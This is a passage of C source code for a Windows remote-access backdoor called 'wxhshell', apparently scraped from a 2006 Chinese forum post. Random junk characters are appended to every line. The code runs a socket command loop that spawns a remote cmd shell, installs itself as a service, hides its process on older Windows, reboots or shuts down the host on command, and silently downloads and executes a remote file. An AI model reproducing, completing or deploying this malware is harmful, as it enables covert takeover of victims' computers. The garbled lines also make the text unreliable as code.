  case '?': { a}8>(jtSt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n@8{FoF  
    break; 3R96;d;  
  } dXy"yQ>{  
  // 安装 &ppZRdq]  
  case 'i': { ErUk>V  
    if(Install()) .*..pf|/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?J1&,'&  
    else Le+8s LE`Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dJgOfg^  
    break; GAe_Z( T  
    } 4zvU"np  
  // 卸载 F;l<>|vG  
  case 'r': { H<3b+Sg  
    if(Uninstall()) k{$"-3ed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z)>a6s$ih<  
    else q+=@kXs>+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # SOj4W  
    break; bSKV|z/x  
    } M;@03 x W  
  // 显示 wxhshell 所在路径 ^ C#bW <T  
  case 'p': { *fyEw\`a  
    char svExeFile[MAX_PATH]; P=hf/jOv9  
    strcpy(svExeFile,"\n\r"); )HiTYV)]'  
      strcat(svExeFile,ExeFile); nWg)zj:  
        send(wsh,svExeFile,strlen(svExeFile),0); k.VOS 0  
    break; K":tr~V;  
    } 3). c [F^l  
  // 重启 IOsDVIXL\  
  case 'b': { t ,Rn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nd!=3W5?  
    if(Boot(REBOOT)) Wam?(!{mOf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i]Of<eQ"  
    else { Cl){sP=8W  
    closesocket(wsh); Yl3PZ*#@ Q  
    ExitThread(0); CF 0IP  
    } >LZ)<-Mk  
    break; 'wHkE/ 83  
    } {}2p1-(  
  // 关机 k:yu2dQh  
  case 'd': { S~`AnX3!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z:? <aT  
    if(Boot(SHUTDOWN)) T[II;[EiE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9< r(22  
    else { <J uJ`t  
    closesocket(wsh); 3S21DC@Y  
    ExitThread(0); Q>Q}/{8!  
    } "uNxKLDB  
    break; i2c<q0u  
    } 8 ?R_O}U  
  // 获取shell \r&@3a.>  
  case 's': { nFn`>kQ  
    CmdShell(wsh); ho=]'MS|  
    closesocket(wsh); {:j!@w3  
    ExitThread(0); d|HM  
    break; AMiFsgBj  
  } QxL FN(d  
  // 退出 =C}<0<"iF  
  case 'x': { lBC-G*#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ph+tk5k  
    CloseIt(wsh); tOVm~C,R  
    break; 0(6`dr_  
    } QAw,XZ.K^  
  // 离开 lt"*y.%@b  
  case 'q': { [l{eJ /W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r\D8_S_  
    closesocket(wsh); C\h<02  
    WSACleanup(); )}lV41u  
    exit(1); Gi2Ey37]O  
    break; O/~^}8TLL  
        } f.CI.aozW  
  } K?I&,t_*R  
  } <;"=ah7A  
''YjeX  
  // 提示信息 %P6!vx:&^b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N* -Z Jv  
} +5\\wGo<  
  } ,_-*/- 7;8  
H!=BjU1Pmg  
  return; bME3" e{O  
} .k(_ j.v  
md s\~l73  
// shell模块句柄 SHh(ujz,  
int CmdShell(SOCKET sock) X"GQ^]$O  
{ _L.yt5_  
STARTUPINFO si; v%Xe)D   
ZeroMemory(&si,sizeof(si)); w\4m -Z{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !X_~|5.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |g !# \  
PROCESS_INFORMATION ProcessInfo; ~(S4/d5  
char cmdline[]="cmd"; "|rqt.f2[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U]$3NIe  
  return 0; 1\kehCt  
} u'."E7o#  
GC3L2C0)k  
// 自身启动模式 Wg&:xff  
int StartFromService(void) #{1fb%L{i  
{ .9 QQ]fLs  
typedef struct b>EUa> h  
{ /ep~/#Ia  
  DWORD ExitStatus; >$F]Ss)$  
  DWORD PebBaseAddress; ]vErF=[U,  
  DWORD AffinityMask; ';F][x5j  
  DWORD BasePriority; b>WT-.b0  
  ULONG UniqueProcessId; )P])0Y-  
  ULONG InheritedFromUniqueProcessId; {D#`+uw  
}   PROCESS_BASIC_INFORMATION; xx8na8  
 (v}:  
PROCNTQSIP NtQueryInformationProcess; YJ$ =`lIM  
kRPg^Fw"Vw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >AJ|F)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @9a=D<'>  
s,x]zG"  
  HANDLE             hProcess; eW%jDsC  
  PROCESS_BASIC_INFORMATION pbi; RdHR[Usm  
`Mg "!n`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yL-L2  
  if(NULL == hInst ) return 0; X;tk\Ixd  
89bKnsV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }fZBP]<I(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VCO/s9AL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -%|I  
<i-RF-*S  
  if (!NtQueryInformationProcess) return 0; (#qVtN`t  
N%+M+zEJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Z;BB)I&C`  
  if(!hProcess) return 0; dPId= w)  
8b!_b2Za  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WTx;,TNG  
L8Q!6oO=<  
  CloseHandle(hProcess); <5%We(3  
htaLOTO;A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J;dFmZOk  
if(hProcess==NULL) return 0; ;q2T*4NN  
6~LpBlb  
HMODULE hMod; Ok!{2$P8U9  
char procName[255]; &@+; ]t  
unsigned long cbNeeded; rv:O|wZ  
"5K: "m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^da-R;o]  
(n\ cs$  
  CloseHandle(hProcess); ";]m]PRAam  
QTH yH   
if(strstr(procName,"services")) return 1; // 以服务启动 ?%(*bRV -  
Pl4d(2 7  
  return 0; // 注册表启动 6s;x@g]  
} |(5=4j]  
z?xd\x  
// 主模块 O/Vue  
int StartWxhshell(LPSTR lpCmdLine) "/5b3^a  
{ sTDBK!9I  
  SOCKET wsl; 2Z~o frj  
BOOL val=TRUE; 6%-2G@6d  
  int port=0; `Ec+i  
  struct sockaddr_in door; MZ'HMYed   
C'ZU .Y  
  if(wscfg.ws_autoins) Install(); [aC(Ga}  
}- Sr@bE  
port=atoi(lpCmdLine); RiklwR#~r/  
Nsq%b?#  
if(port<=0) port=wscfg.ws_port; =[kv@ p  
r+Y1m\  
  WSADATA data; & BkNkb0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CfU )+20  
`0D+x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   novZ<?7 5;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6c:$[owC  
  door.sin_family = AF_INET; ?9:\1)]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?jbam! A  
  door.sin_port = htons(port); W2RS G~|  
kVY@q&p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rk|6!kry  
closesocket(wsl); 0W)_5f&  
return 1; n !QjptQ  
} !wgj$5Rw.  
>qCT#TY  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Ko,S(M_  
closesocket(wsl); TR|; /yJ  
return 1; l-&f81W  
} -nW-I\d%  
  Wxhshell(wsl); i!NGX  
  WSACleanup(); :.<&Y=^  
L@wnzt  
return 0; LBg#KQ @  
)lbF'.i  
} pmC@ fB  
vd~O:=)4  
// 以NT服务方式启动 WKG=d]5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -}%zus5  
{ E] [DVY  
DWORD   status = 0; bpkn[K"(  
  DWORD   specificError = 0xfffffff; 99 [ "I:  
;$Y?j8g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7 ?Fl [FW$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;.Kzc3yz}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v[x`I;  
  serviceStatus.dwWin32ExitCode     = 0; NoMC* ",b>  
  serviceStatus.dwServiceSpecificExitCode = 0; jV(IS D  
  serviceStatus.dwCheckPoint       = 0; B~^\jRd "  
  serviceStatus.dwWaitHint       = 0; ^JTfRZ :a  
%UmE=V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bnlL-]]9z  
  if (hServiceStatusHandle==0) return; R~`Y6>o~9:  
gVGq  
status = GetLastError(); QwhPN'U  
  if (status!=NO_ERROR) ;BqX=X+#  
{ E$cr3 t7Xy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &HWH UWB  
    serviceStatus.dwCheckPoint       = 0; Y , P-@(  
    serviceStatus.dwWaitHint       = 0; 7 ir T6O<.  
    serviceStatus.dwWin32ExitCode     = status; B7#;tCf  
    serviceStatus.dwServiceSpecificExitCode = specificError; | c;S'36  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L2 I/h`n"  
    return; 7Qo*u;fr  
  } ]SQ_*$`  
P5N"7/PfW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DT*/2TH*l  
  serviceStatus.dwCheckPoint       = 0; * 08LW|:,  
  serviceStatus.dwWaitHint       = 0; >@t]M`#&h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3yTBkFI!  
} RKe19l_V  
E(TY%wO  
// 处理NT服务事件,比如:启动、停止 U}UIbJD*=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?f%@8%px  
{ (k[<>$hL*  
switch(fdwControl) Qwb@3{  
{ IcA]<}0!"v  
case SERVICE_CONTROL_STOP: r@_;L>  
  serviceStatus.dwWin32ExitCode = 0; 8'zwy d3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {vaq,2_w  
  serviceStatus.dwCheckPoint   = 0; X3nwA#If1  
  serviceStatus.dwWaitHint     = 0; U<*dDE~z  
  { *@O;IiSE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9qw~]W~Nm  
  } $lO\eQGxB  
  return; =%a.C(0&G  
case SERVICE_CONTROL_PAUSE: "$WZd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G",+jR]  
  break; "MyYu}AD  
case SERVICE_CONTROL_CONTINUE: "DUL} "5T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5vS'Qhc  
  break; R8ZW1  
case SERVICE_CONTROL_INTERROGATE: pM>.z9  
  break; >9|Q,/b0  
}; 3m x7[Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); blLX ncyD  
} ztu N0}'  
[\I\).  
// 标准应用程序主函数 +ux,cx.U"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [x@iqFO9  
{ A>X#[qx  
p}C3<[Nk  
// 获取操作系统版本 5^%FEZ&Sp  
OsIsNt=GetOsVer(); vwP83b0ov"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l!GAMK 6o  
b6#V0bDXHD  
  // 从命令行安装 ,#s}nJ4  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9D&ocV3QV  
grv 3aa@  
  // 下载执行文件 ll6~8PN  
if(wscfg.ws_downexe) { (Y-7B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k+_pj k  
  WinExec(wscfg.ws_filenam,SW_HIDE); uHy^ Bq  
} !W8$-iq  
d~qDQ6!  
if(!OsIsNt) { m,-:(82  
// 如果时win9x,隐藏进程并且设置为注册表启动 vh((HS-)  
HideProc(); K !`tEW[  
StartWxhshell(lpCmdLine); :[,n`0lH  
} Cfa?LgSz  
else KpSHf9!&[  
  if(StartFromService()) Y@Ty_j~  
  // 以服务方式启动 U*)pUJ{&t  
  StartServiceCtrlDispatcher(DispatchTable); N'TL &]  
else 2LXy$[)7  
  // 普通方式启动 ptX;-'j(  
  StartWxhshell(lpCmdLine); >i=mw5`D]  
|',MgA  
return 0; yY8q{\G  
}
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只看该作者 1 发表于: 2006-10-10
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